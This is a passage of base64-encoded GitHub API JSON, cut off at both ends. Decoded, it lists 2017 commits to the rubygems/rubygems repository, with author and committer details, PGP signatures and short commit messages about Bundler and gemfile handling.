L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJmODgzNjAxNzBmMDcyM2VjZWU3NTc0ZTI2MjM0YzA5MDU2MTBkNzkyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Y4ODM2MDE3MGYwNzIzZWNlZTc1NzRlMjYyMzRjMDkwNTYxMGQ3OTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZjg4MzYwMTcwZjA3MjNlY2VlNzU3NGUyNjIzNGMwOTA1NjEwZDc5MiJ9XX0seyJzaGEiOiJmODgzNjAxNzBmMDcyM2VjZWU3NTc0ZTI2MjM0YzA5MDU2MTBkNzkyIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wNy0zMVQxOTowMjo0NloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTE5VDIyOjI5OjQ2WiJ9LCJtZXNzYWdlIjoiU3VwcG9ydCBgYnVuZGxlIHVwZGF0ZSAtLWJ1bmRsZXIgVkVSU0lPTmAiLCJ0cmVlIjp7InNoYSI6IjVmYTVkOGY3YjQ3MmU3YTZiODJmZDI0OGJkNWM0NGVkMzIzNjU3ODciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy81ZmE1ZDhmN2I0NzJlN2E2YjgyZmQyNDhiZDVjNDRlZDMyMzY1Nzg3In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZjg4MzYwMTcwZjA3MjNlY2VlNzU3NGUyNjIzNGMwOTA1NjEwZDc5MiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWm1MdmFBQW9KRUFFWlc3TVYzYWhXRDhZUC8zZE1WNGhWd2xSbmt3YVh6Y2FXcTlpQlxuR0F2UjRQK1huQzV0elp3ekMyVFlPTElvQU9sSTRNaDB0by8rc2I4Y09jY05ycVV6bnZPWk1EcjE2UC9IYXRtMFxuUmREbzFGd2tZamhiTmo3elA5QkR1U3ZSeGxjZTVXS0Rtblo2dmEzVFpid20xbUkzSCszdnFuM2hWaWpyZVoxOFxuM1FxamJWZExWQm5EanpvaTl2Yk9XZDZDMUxMNW02VTF6VEp6eTlyeGlrZnVDYld2RVgwNGFFa2lsMWJtTEtJQVxuU09jR2wyMWJETDdGekdidFJURktHY2tUMjNuaU0zU3Z1SDRuQS8xRGlHYmh4MzNRTDZKeXJ6ajg5elBMUld0NVxuSG5TYmFxVWtQYzdzc3RTWjV6WDAyKzlKUXpRVGExZW9WTHhRUlNsNWpyQXoyZXFrRzk1eGJ2MWZjSGRCMzE4K1xuVkZrR1hqcEl1TCtNMDZuY2RDS0l6MlVZdUJUY3ZUUWRKWjBmN3dLd2tDSjhSaDBucEorOUNRWkZxNnJQNXBLblxuNnUwQ2lkMC9Cc1JCWVNseWxlOU5NTXVrZ0YzbmpYMmNKcE93UFlPWXZXYWZQcWN2MDRRK0JZRkpyRmJHNHFPbFxuUnI3T2NzVVA2M1dlV0hXOTFrUlpXaVN6QlVSYmh3QUQzNmh5VFd6cmNUL2VsZkZCL01kV2YzQ3lJNEd0ME14bVxuS09Rc3gzWThOZkhqZ0ZSWXR0SnFMc3FTQzFNY0JzNlQ5RnVyZjNRL0VIL0R3cVYxdUlyUUpNNG9IVnMvQ0NjU1xud3JCcGJWUnpyVjFrSW04RmpEMFFVUDFnVDhTM1dkbmE1NktCaWZhYmNFbHdLM2h1RFpCU29tOHlnTjJ1RWJvelxuaHVNKzFLWm9FUzEwWGdNZUlGM01cbj1EdHVkXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA1ZmE1ZDhmN2I0NzJlN2E2YjgyZmQyNDhiZDVjNDRlZDMyMzY1Nzg3XG5wYXJlbnQgNjk3ZjVhMmIzZjk1MWViZmU3MDFmZDMwYjE1OWIyZjdiODlhOWE5MlxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAxNTI3NzY2IC0wNTAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDMxODE3ODYgLTA0MDBcblxuU3VwcG9ydCBgYnVuZGxlIHVwZGF0ZSAtLWJ1bmRsZXIgVkVSU0lPTmBcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Y4ODM2MDE3MGYwNzIzZWNlZTc1NzRlMjYyMzRjMDkwNTYxMGQ3OTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZjg4MzYwMTcwZjA3MjNlY2VlNzU3NGUyNjIzNGMwOTA1NjEwZDc5MiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mODgzNjAxNzBmMDcyM2VjZWU3NTc0ZTI2MjM0YzA5MDU2MTBkNzkyL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2OTdmNWEyYjNmOTUxZWJmZTcwMWZkMzBiMTU5YjJmN2I4OWE5YTkyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzY5N2Y1YTJiM2Y5NTFlYmZlNzAxZmQzMGIxNTliMmY3Yjg5YTlhOTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjk3ZjVhMmIzZjk1MWViZmU3MDFmZDMwYjE1OWIyZjdiODlhOWE5MiJ9XX0seyJzaGEiOiI2OTdmNWEyYjNmOTUxZWJmZTcwMWZkMzBiMTU5YjJmN2I4OWE5YTkyIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiQW5kcmUgQXJrbyIsImVtYWlsIjoiYW5kcmVAYXJrby5uZXQiLCJkYXRlIjoiMjAxNy0wNy0zMFQwMzozNTo0MFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTE5VDIyOjI5OjQ2WiJ9LCJtZXNzYWdlIjoic2V0IHRoZSBob21lcGFnZSBzbyB0aGF0IHRoZSBnZW0gY2FuIGJ1aWxkIiwidHJlZSI6eyJzaGEiOiJmNGZkN2ZiYjBmYjdhYWYxZmVmNjhlYzczMzkzZmE4MTI1YjE5NTMxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZjRmZDdmYmIwZmI3YWFmMWZlZjY4ZWM3MzM5M2ZhODEyNWIxOTUzMSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzY5N2Y1YTJiM2Y5NTFlYmZlNzAxZmQzMGIxNTliMmY3Yjg5YTlhOTIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlptTHZhQUFvSkVBRVpXN01WM2FoV2gzOFAvMzdJdlJ5RkxQWS9lOWJ4VUJGdXhreVdcbmprU1NjSGhrdHZPSVhScCtJZURocnJqS1VzZTVSUlE2OForcmJpQVVuRERMc04vTXlYRnVHMDF5alk2RGxpWEVcblN6VldoNTJ0cngvSjZCTXhyVm1yaWtZcWlkRDAxYUk5NW9EWWJyRncydFVtd0RWaTdmUjc2MXR1ZzdEaWI4cWxcbnJXbkphUHpvSlR5Vnh5VFlmcEl2VmhJM0pVWGpzTGVySVoxTGdIRTNrdFdKdG1iSUZncUdYWkdhNlI3VHVENDVcbmUwWDVNK2RYRytiVVpqd3EyVHA4Uy9acDBnbmRKeEZBeGN4YmtSN21URXNieHQyS2ptenBJT3o5L0ZOZlJLSWxcbkpjRHpHUXdYYlJ4cThMSnFOdmhTOWt1YXByREFrZ0xvUHY3UXNIVTRsUGV0S3N2TTZIQXRJZFFIQ1ZTbDBOYkRcbkt0UjZXa0FVbWJrRmRGNkFUVnV4eDVmMEVSY2xYczRONmVmUmpnQjZ5ckFyelQvZDh6UG9HODNuUGVScE9NNVJcbkRGWURUdnVEZnpUTWIyMmRrRGhhRHU2VVZ1TVZ6U0lUYkIzZ0pGK1dsTDRFclZBRUt5dkdzOCtSdVB0VldvanRcbmxiVDRqcnNwYzJMT0xJcXp2WXhlamNTNlBXd2JBenVveXlHckUxVjVEQ0hUdnFGRnB1bjRPM2s1WWtIOTVIdCtcbkpGMTFnbnNwMVJaOFhZZFFpcEh4bm44ZlVkVHl0S0tzS0hvNUZlV280YkZRSkR3a0UrSWM2V3ZzTzUvNXBYS0FcbmpWaDY3dG5PTy9pY0tKZ3A4UWNGYzNsY3J3M0dhU2hndmZZUzRpTzY3aFFPaG1pVDdXSjRUMTBwMGx1RDhINEFcbk0vcXFlTWxOVGFXalVPc1pPVHlzXG49SWNsZFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZjRmZDdmYmIwZmI3YWFmMWZlZjY4ZWM3MzM5M2ZhODEyNWIxOTUzMVxucGFyZW50IDEyOGE3NGYyMGI1ZDA2MTI3MTdkMzMxODBiNmNjYTE5MTBiNTQ2ZjRcbmF1dGhvciBBbmRyZSBBcmtvIDxhbmRyZUBhcmtvLm5ldD4gMTUwMTM4NTc0MCAtMDcwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzMTgxNzg2IC0wNDAwXG5cbnNldCB0aGUgaG9tZXBhZ2Ugc28gdGhhdCB0aGUgZ2VtIGNhbiBidWlsZFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjk3ZjVhMmIzZjk1MWViZmU3MDFmZDMwYjE1OWIyZjdiODlhOWE5MiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82OTdmNWEyYjNmOTUxZWJmZTcwMWZkMzBiMTU5YjJmN2I4OWE5YTkyIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzY5N2Y1YTJiM2Y5NTFlYmZlNzAxZmQzMGIxNTliMmY3Yjg5YTlhOTIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMTI4YTc0ZjIwYjVkMDYxMjcxN2QzMzE4MGI2Y2NhMTkxMGI1NDZmNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xMjhhNzRmMjBiNWQwNjEyNzE3ZDMzMTgwYjZjY2ExOTEwYjU0NmY0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzEyOGE3NGYyMGI1ZDA2MTI3MTdkMzMxODBiNmNjYTE5MTBiNTQ2ZjQifV19LHsic2hhIjoiMTI4YTc0ZjIwYjVkMDYxMjcxN2QzMzE4MGI2Y2NhMTkxMGI1NDZmNCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDctMjFUMjA6MTQ6NDlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0xOVQyMjoyOTo0NloifSwibWVzc2FnZSI6IkFsc28gdHJlYXQgZ2Vtcy5yYiBhcyBhIGdlbWZpbGUgbmFtZSIsInRyZWUiOnsic2hhIjoiZTZmNmI5MjFmZTg3YTRkZDU3ZTFkMzZhMDQxNjdhMjYxNTI2ZGMyMCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2U2ZjZiOTIxZmU4N2E0ZGQ1N2UxZDM2YTA0MTY3YTI2MTUyNmRjMjAifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8xMjhhNzRmMjBiNWQwNjEyNzE3ZDMzMTgwYjZjY2ExOTEwYjU0NmY0IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabUx2YUFBb0pFQUVaVzdNVjNhaFdpeE1QL2pRRFNXd2xHYzc3Qi9lZkRZRTBCTVpBXG5UR1E5Zm1WNmc2a3FhaWRQRlAyblJEUFpVYkpUQkRQTnZpTTJwYWs4K3VpRjAzZFdDbUxsaGhYTVNaL2lJZ3JJXG5xYzEyN1NMVlpNVHFDQStMM0trZHFmSFJkUjBJRU10bEZGTzZERWRET0JwVlNpc3VhVUN6bVE3ZzlXMmVuMHhLXG41dXNoWUI1SGhYc1NINHZkeFVTem9GcjZCU2ZhTlF2Rzh3bE8zT3dGRmVDcjNSbm5hMUtzUXdzS29JZHFwWUR6XG5lT1d2R2lDWnRiTk9sSmdLNEh2R0plZ2x6MEpRN3ZTajJyRDFGSkU2N2FyKzcrYm9GRUtlSm1JMlZyQVpOa0VPXG4rOUJ3RlErMTNFY20rVm1VSTNrcDN3V0gxbDVPZndBTCtMV3RXRTlKN0JOYi9LeDN4Vm9mWFg0OEpkRGFBbDV0XG5FeWNPejRiL0Q5aUhzRE4rOG45SWgxNTgxbDdDQWJVd1dpTlFtWmNTbEJrUWM4MFpEQU8vRlJRc2YzWjIwR2d3XG56bTk0Yng0dXQ3LzJQc1lmMWJ3bGJRdUdvN3ZTeTJWOG5RMnZhb2V4Yi9kRUE0dU1SQkdrTUtKaEZnZ01BQmMzXG5XSS9XZk5IK2lWNVlpSGxNMWI2UnJycWRZenhNZ3dMejFCS1h5Y3BiTFdmblNRVkhRV2NPWHAvZDcybnlpVS9jXG5IWWVmMXpvSE1hTDc5dWc5SjdsVElJdVhMWlpXa0NhSmtxQmViL3ZMZ2xrQkY2TWM2SGlUUkxRY1ovelNWVHpUXG4yT2JwRUJ3RmhWTXAvTnN4Q3lwc3p6NzR1eHhoTThTbmxGSWRITWEwUmU4NUhDcVhoRjdzTXpXMnNsdVdkdTc3XG5WRld3R05Qc1R1dlJBcjhxZThqeVxuPU91VW9cbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGU2ZjZiOTIxZmU4N2E0ZGQ1N2UxZDM2YTA0MTY3YTI2MTUyNmRjMjBcbnBhcmVudCA2OTg0NzA3OWM5NDBhNWM2OTM1YTdmODNhNDMxMzEwOTdlMDg1NThiXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDA2NjgwODkgLTA1MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzE4MTc4NiAtMDQwMFxuXG5BbHNvIHRyZWF0IGdlbXMucmIgYXMgYSBnZW1maWxlIG5hbWVcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzEyOGE3NGYyMGI1ZDA2MTI3MTdkMzMxODBiNmNjYTE5MTBiNTQ2ZjQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMTI4YTc0ZjIwYjVkMDYxMjcxN2QzMzE4MGI2Y2NhMTkxMGI1NDZmNCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xMjhhNzRmMjBiNWQwNjEyNzE3ZDMzMTgwYjZjY2ExOTEwYjU0NmY0L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91